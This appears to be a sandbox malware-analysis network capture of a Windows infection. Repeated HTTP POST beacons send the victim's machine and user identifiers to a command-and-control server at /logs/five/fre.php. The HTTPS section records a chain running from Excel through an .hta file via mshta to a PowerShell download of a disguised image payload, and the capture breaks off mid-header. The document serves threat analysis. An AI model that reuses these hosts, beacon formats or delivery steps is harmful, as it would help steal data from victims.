Oct 24, 2024 08:47:22.009874105 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:22.015331984 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:22.963869095 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.22	49242	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:23.112205982 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:23.119040012 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:24.081892967 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.22	49243	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:24.241831064 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:24.247330904 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:25.191000938 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.22	49244	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:25.342227936 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:25.347820044 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:26.304109097 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.22	49245	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:26.449470043 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:26.454873085 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:27.421446085 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.22	49246	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:27.634330988 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:27.639729023 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:28.598006010 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.22	49247	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:28.737452030 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:28.744434118 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:29.691955090 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.22	49248	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:29.991545916 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:29.996928930 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:30.943694115 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.22	49249	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:31.147773981 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:31.153127909 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:32.217112064 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.22	49250	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:32.359581947 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:32.364980936 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:33.316694975 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.22	49251	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:33.519674063 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:33.527793884 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:34.466624022 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.22	49252	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:34.607471943 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:34.612891912 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:36.171612978 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Oct 24, 2024 08:47:36.172389030 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.22	49253	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:36.380880117 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:36.386308908 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:37.350135088 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.22	49254	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:37.493232012 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:37.498723984 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:38.480947018 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.22	49255	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:38.639719963 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:38.645071983 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:39.590569973 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.22	49256	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 08:47:39.734195948 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 24, 2024 08:47:39.740084887 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 30 00 34 00 30 00 39 00 36 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus040965ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 24, 2024 08:47:40.694453001 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Thu, 24 Oct 2024 06:47:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	5.159.62.244	443	3208	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:45:23 UTC	453	OUT	GET /uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: mpa.li Connection: Keep-Alive
2024-10-24 06:45:23 UTC	460	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 24 Oct 2024 06:45:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 98 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta Vary: Accept
2024-10-24 06:45:23 UTC	98	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 37 36 2e 31 34 31 2f 33 36 2f 62 76 2f 73 65 65 74 68 65 62 65 73 74 74 68 69 6e 67 73 74 6f 62 65 67 6f 6f 64 77 69 74 68 68 69 73 6c 69 66 65 62 65 73 74 74 68 69 67 6e 73 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	5.159.62.243	443	3484	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:45:26 UTC	477	OUT	GET /uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: mpa.li Connection: Keep-Alive
2024-10-24 06:45:26 UTC	460	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 24 Oct 2024 06:45:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 98 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta Vary: Accept
2024-10-24 06:45:26 UTC	98	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 37 36 2e 31 34 31 2f 33 36 2f 62 76 2f 73 65 65 74 68 65 62 65 73 74 74 68 69 6e 67 73 74 6f 62 65 67 6f 6f 64 77 69 74 68 68 69 73 6c 69 66 65 62 65 73 74 74 68 69 67 6e 73 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49168	216.58.212.174	443	4000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:45:40 UTC	121	OUT	GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-24 06:45:41 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 24 Oct 2024 06:45:41 GMT Location: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JjpljUN6QLxpW3qwojjIqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49169	142.250.186.97	443	4000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:45:42 UTC	139	OUT	GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-24 06:45:45 UTC	4906	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="new_image-new.jpg" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: 